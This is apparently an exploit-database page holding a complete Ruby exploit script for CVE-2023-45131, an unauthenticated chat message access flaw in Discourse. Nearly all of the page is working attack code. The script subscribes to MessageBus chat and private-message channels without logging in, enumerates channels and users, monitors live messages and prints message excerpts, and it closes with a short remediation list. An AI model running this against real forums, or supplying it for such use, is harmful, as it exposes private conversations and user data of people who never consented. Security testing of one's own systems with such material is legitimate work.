📄 Discourse 3.1.1 Unauthenticated Chat Message Access

#!/usr/bin/env ruby
    # Title : Discourse 3.1.1 - Unauthenticated Chat Message Access
    # CVE-2023-45131
    # CVSS: 7.5 (High)
    # Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2
    # Author ibrahimsql @ https://twitter.com/ibrahmsql
    # Date: 2023-12-14
    
    require 'net/http'
    require 'uri'
    require 'json'
    require 'openssl'
    require 'base64'
    
    class CVE202345131
      def initialize(target_url)
        @target_url = target_url.chomp('/')
        @results = []
        @message_bus_client_id = nil
        @csrf_token = nil
      end
    
      def run_exploit
        puts "\n[*] Testing CVE-2023-45131: Discourse Unauthenticated Chat Message Access"
        puts "[*] Target: #{@target_url}"
        puts "[*] CVSS Score: 7.5 (High)"
        puts "[*] Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2\n"
    
        # Test MessageBus access
        test_messagebus_access
        test_chat_channel_enumeration
        test_private_message_access
        test_real_time_monitoring
        test_message_history_access
        test_user_enumeration_via_chat
    
        generate_report
        @results
      end
    
      private
    
      def test_messagebus_access
        puts "[*] Testing MessageBus unauthenticated access..."
        
        begin
          # Get MessageBus client ID
          uri = URI("#{@target_url}/message-bus/poll")
          
          response = make_request(uri, 'GET')
          
          if response && response.code == '200'
            begin
              data = JSON.parse(response.body)
              if data.is_a?(Array) && !data.empty?
                @message_bus_client_id = extract_client_id(response)
                
                @results << {
                  vulnerability: "MessageBus Access",
                  severity: "High",
                  description: "Unauthenticated access to MessageBus endpoint confirmed",
                  impact: "Can monitor real-time messages and notifications",
                  client_id: @message_bus_client_id
                }
                puts "[+] MessageBus access confirmed - Client ID: #{@message_bus_client_id}"
                return true
              end
            rescue JSON::ParserError
              # Try alternative endpoints
              test_alternative_messagebus_endpoints
            end
          end
        rescue => e
          puts "[!] Error testing MessageBus access: #{e.message}"
        end
        
        false
      end
    
      def test_alternative_messagebus_endpoints
        puts "[*] Testing alternative MessageBus endpoints..."
        
        endpoints = [
          "/message-bus/poll",
          "/message-bus/subscribe",
          "/message-bus/diagnostics",
          "/message-bus/long-poll"
        ]
    
        endpoints.each do |endpoint|
          begin
            uri = URI("#{@target_url}#{endpoint}")
            response = make_request(uri, 'GET')
            
            if response && response.code == '200'
              if response.body.include?('message-bus') || response.body.include?('clientId')
                @results << {
                  vulnerability: "Alternative MessageBus Endpoint",
                  severity: "Medium",
                  endpoint: endpoint,
                  description: "Alternative MessageBus endpoint accessible",
                  impact: "Potential message monitoring capability"
                }
                puts "[+] Alternative endpoint accessible: #{endpoint}"
              end
            end
          rescue => e
            puts "[!] Error testing endpoint #{endpoint}: #{e.message}"
          end
        end
      end
    
      def test_chat_channel_enumeration
        puts "[*] Testing chat channel enumeration..."
        
        return unless @message_bus_client_id
        
        begin
          # Try to enumerate chat channels
          uri = URI("#{@target_url}/message-bus/poll")
          
          # Subscribe to chat channels
          data = {
            '/chat/new-messages' => -1,
            '/chat/channel-status' => -1,
            '/chat/user-tracking' => -1,
            'clientId' => @message_bus_client_id
          }
          
          response = make_request(uri, 'POST', data)
          
          if response && response.code == '200'
            begin
              messages = JSON.parse(response.body)
              
              if messages.is_a?(Array) && !messages.empty?
                chat_channels = extract_chat_channels(messages)
                
                if !chat_channels.empty?
                  @results << {
                    vulnerability: "Chat Channel Enumeration",
                    severity: "High",
                    channels: chat_channels,
                    description: "Enumerated accessible chat channels",
                    impact: "Can identify active chat channels and participants"
                  }
                  puts "[+] Chat channels enumerated: #{chat_channels.join(', ')}"
                end
              end
            rescue JSON::ParserError => e
              puts "[!] Error parsing chat channel response: #{e.message}"
            end
          end
        rescue => e
          puts "[!] Error enumerating chat channels: #{e.message}"
        end
      end
    
      def test_private_message_access
        puts "[*] Testing private message access..."
        
        return unless @message_bus_client_id
        
        begin
          # Try to access private messages
          uri = URI("#{@target_url}/message-bus/poll")
          
          # Subscribe to private message channels
          data = {
            '/private-messages' => -1,
            '/chat/private' => -1,
            '/notification' => -1,
            'clientId' => @message_bus_client_id
          }
          
          response = make_request(uri, 'POST', data)
          
          if response && response.code == '200'
            begin
              messages = JSON.parse(response.body)
              
              if messages.is_a?(Array)
                private_messages = extract_private_messages(messages)
                
                if !private_messages.empty?
                  @results << {
                    vulnerability: "Private Message Access",
                    severity: "Critical",
                    messages: private_messages,
                    description: "Accessed private chat messages without authentication",
                    impact: "Complete breach of private communication confidentiality"
                  }
                  puts "[+] Private messages accessed: #{private_messages.length} messages found"
                  
                  # Log sample messages (redacted)
                  private_messages.first(3).each_with_index do |msg, idx|
                    puts "    [#{idx + 1}] #{redact_message(msg)}"
                  end
                end
              end
            rescue JSON::ParserError => e
              puts "[!] Error parsing private message response: #{e.message}"
            end
          end
        rescue => e
          puts "[!] Error accessing private messages: #{e.message}"
        end
      end
    
      def test_real_time_monitoring
        puts "[*] Testing real-time message monitoring..."
        
        return unless @message_bus_client_id
        
        begin
          puts "[*] Monitoring for 10 seconds..."
          
          start_time = Time.now
          monitored_messages = []
          
          while (Time.now - start_time) < 10
            uri = URI("#{@target_url}/message-bus/poll")
            
            data = {
              '/chat/new-messages' => 0,
              'clientId' => @message_bus_client_id
            }
            
            response = make_request(uri, 'POST', data)
            
            if response && response.code == '200'
              begin
                messages = JSON.parse(response.body)
                
                if messages.is_a?(Array) && !messages.empty?
                  new_messages = extract_new_messages(messages)
                  monitored_messages.concat(new_messages)
                end
              rescue JSON::ParserError
                # Continue monitoring
              end
            end
            
            sleep(1)
          end
          
          if !monitored_messages.empty?
            @results << {
              vulnerability: "Real-time Message Monitoring",
              severity: "High",
              messages_count: monitored_messages.length,
              description: "Successfully monitored real-time chat messages",
              impact: "Can intercept live communications"
            }
            puts "[+] Real-time monitoring successful: #{monitored_messages.length} messages intercepted"
          else
            puts "[-] No real-time messages detected during monitoring period"
          end
        rescue => e
          puts "[!] Error during real-time monitoring: #{e.message}"
        end
      end
    
      def test_message_history_access
        puts "[*] Testing message history access..."
        
        begin
          # Try to access message history through various endpoints
          history_endpoints = [
            "/chat/api/channels",
            "/chat/api/messages",
            "/chat/history",
            "/api/chat/channels.json"
          ]
          
          history_endpoints.each do |endpoint|
            uri = URI("#{@target_url}#{endpoint}")
            response = make_request(uri, 'GET')
            
            if response && response.code == '200'
              begin
                data = JSON.parse(response.body)
                
                if data.is_a?(Hash) && (data['messages'] || data['channels'] || data['chat'])
                  @results << {
                    vulnerability: "Message History Access",
                    severity: "High",
                    endpoint: endpoint,
                    description: "Accessed chat message history without authentication",
                    impact: "Historical chat data exposure"
                  }
                  puts "[+] Message history accessible via: #{endpoint}"
                end
              rescue JSON::ParserError
                # Check for HTML responses that might contain chat data
                if response.body.include?('chat') && response.body.include?('message')
                  @results << {
                    vulnerability: "Message History Exposure",
                    severity: "Medium",
                    endpoint: endpoint,
                    description: "Chat-related content found in response",
                    impact: "Potential information disclosure"
                  }
                  puts "[+] Chat-related content found in: #{endpoint}"
                end
              end
            end
          end
        rescue => e
          puts "[!] Error testing message history access: #{e.message}"
        end
      end
    
      def test_user_enumeration_via_chat
        puts "[*] Testing user enumeration via chat features..."
        
        begin
          # Try to enumerate users through chat-related endpoints
          user_endpoints = [
            "/chat/api/users",
            "/chat/users.json",
            "/api/chat/users",
            "/chat/members"
          ]
          
          user_endpoints.each do |endpoint|
            uri = URI("#{@target_url}#{endpoint}")
            response = make_request(uri, 'GET')
            
            if response && response.code == '200'
              begin
                data = JSON.parse(response.body)
                
                if data.is_a?(Hash) && (data['users'] || data['members'])
                  users = extract_users_from_chat(data)
                  
                  if !users.empty?
                    @results << {
                      vulnerability: "User Enumeration via Chat",
                      severity: "Medium",
                      endpoint: endpoint,
                      users_count: users.length,
                      sample_users: users.first(5),
                      description: "Enumerated chat users without authentication",
                      impact: "User information disclosure"
                    }
                    puts "[+] Users enumerated via #{endpoint}: #{users.length} users found"
                  end
                end
              rescue JSON::ParserError
                # Continue with next endpoint
              end
            end
          end
        rescue => e
          puts "[!] Error testing user enumeration: #{e.message}"
        end
      end
    
      def extract_client_id(response)
        # Extract client ID from response headers or body
        if response['X-MessageBus-Client-Id']
          return response['X-MessageBus-Client-Id']
        end
        
        # Try to extract from response body
        begin
          data = JSON.parse(response.body)
          if data.is_a?(Hash) && data['clientId']
            return data['clientId']
          end
        rescue JSON::ParserError
        end
        
        # Generate a random client ID
        SecureRandom.hex(16)
      end
    
      def extract_chat_channels(messages)
        channels = []
        
        messages.each do |message|
          if message.is_a?(Hash)
            if message['channel'] && message['channel'].include?('/chat/')
              channels << message['channel']
            elsif message['data'] && message['data'].is_a?(Hash)
              if message['data']['channel_id']
                channels << "Channel #{message['data']['channel_id']}"
              end
            end
          end
        end
        
        channels.uniq
      end
    
      def extract_private_messages(messages)
        private_msgs = []
        
        messages.each do |message|
          if message.is_a?(Hash)
            if message['channel'] && (message['channel'].include?('/private') || message['channel'].include?('/chat/private'))
              private_msgs << {
                channel: message['channel'],
                data: message['data'],
                timestamp: message['timestamp'] || Time.now.to_i
              }
            elsif message['data'] && message['data'].is_a?(Hash)
              if message['data']['message'] || message['data']['content']
                private_msgs << {
                  content: message['data']['message'] || message['data']['content'],
                  user: message['data']['user'] || message['data']['username'],
                  timestamp: message['data']['timestamp'] || Time.now.to_i
                }
              end
            end
          end
        end
        
        private_msgs
      end
    
      def extract_new_messages(messages)
        new_msgs = []
        
        messages.each do |message|
          if message.is_a?(Hash) && message['data']
            new_msgs << {
              channel: message['channel'],
              data: message['data'],
              timestamp: Time.now.to_i
            }
          end
        end
        
        new_msgs
      end
    
      def extract_users_from_chat(data)
        users = []
        
        if data['users'] && data['users'].is_a?(Array)
          data['users'].each do |user|
            if user.is_a?(Hash)
              users << {
                username: user['username'],
                id: user['id'],
                name: user['name']
              }
            end
          end
        elsif data['members'] && data['members'].is_a?(Array)
          data['members'].each do |member|
            if member.is_a?(Hash)
              users << {
                username: member['username'] || member['user'],
                id: member['id'] || member['user_id']
              }
            end
          end
        end
        
        users
      end
    
      def redact_message(message)
        if message.is_a?(Hash)
          content = message[:content] || message['content'] || message[:data] || 'N/A'
          user = message[:user] || message['user'] || 'Unknown'
          "User: #{user}, Content: #{content.to_s[0..50]}..."
        else
          message.to_s[0..50] + "..."
        end
      end
    
      def make_request(uri, method = 'GET', data = nil, headers = {})
        begin
          http = Net::HTTP.new(uri.host, uri.port)
          http.use_ssl = (uri.scheme == 'https')
          http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl?
          http.read_timeout = 10
          http.open_timeout = 10
    
          request = case method.upcase
                    when 'GET'
                      Net::HTTP::Get.new(uri.request_uri)
                    when 'POST'
                      req = Net::HTTP::Post.new(uri.request_uri)
                      if data
                        if data.is_a?(Hash)
                          req.set_form_data(data)
                        else
                          req.body = data
                          req['Content-Type'] = 'application/json'
                        end
                      end
                      req
                    end
    
          # Set headers
          request['User-Agent'] = 'Mozilla/5.0 (compatible; DiscourseMap/2.0)'
          request['Accept'] = 'application/json, text/javascript, */*; q=0.01'
          request['X-Requested-With'] = 'XMLHttpRequest'
          headers.each { |key, value| request[key] = value }
    
          response = http.request(request)
          return response
        rescue => e
          puts "[!] Request failed: #{e.message}"
          return nil
        end
      end
    
      def generate_report
        puts "\n" + "="*60
        puts "CVE-2023-45131 Exploitation Report"
        puts "="*60
        puts "Target: #{@target_url}"
        puts "Vulnerabilities Found: #{@results.length}"
        
        if @results.empty?
          puts "[+] No chat message access vulnerabilities detected"
        else
          puts "\n[!] VULNERABILITIES DETECTED:"
          @results.each_with_index do |result, index|
            puts "\n#{index + 1}. #{result[:vulnerability]}"
            puts "   Severity: #{result[:severity]}"
            puts "   Description: #{result[:description]}"
            puts "   Impact: #{result[:impact]}"
            
            if result[:messages_count]
              puts "   Messages Found: #{result[:messages_count]}"
            end
            if result[:channels]
              puts "   Channels: #{result[:channels].join(', ')}"
            end
            if result[:endpoint]
              puts "   Endpoint: #{result[:endpoint]}"
            end
          end
          
          puts "\n[!] REMEDIATION:"
          puts "1. Update Discourse to version 3.1.1 stable or 3.2.0.beta2 or later"
          puts "2. Implement proper authentication for MessageBus endpoints"
          puts "3. Review and restrict access to chat-related APIs"
          puts "4. Monitor MessageBus access logs for suspicious activity"
          puts "5. Consider disabling chat features if not required"
        end
        
        puts "\n" + "="*60
      end
    end
    
    # Run the exploit if called directly
    if __FILE__ == $0
      if ARGV.length != 1
        puts "Usage: ruby #{$0} <target_url>"
        puts "Example: ruby #{$0} https://discourse.example.com"
        exit 1
      end
    
      target_url = ARGV[0]
      exploit = CVE202345131.new(target_url)
      exploit.run_exploit
    end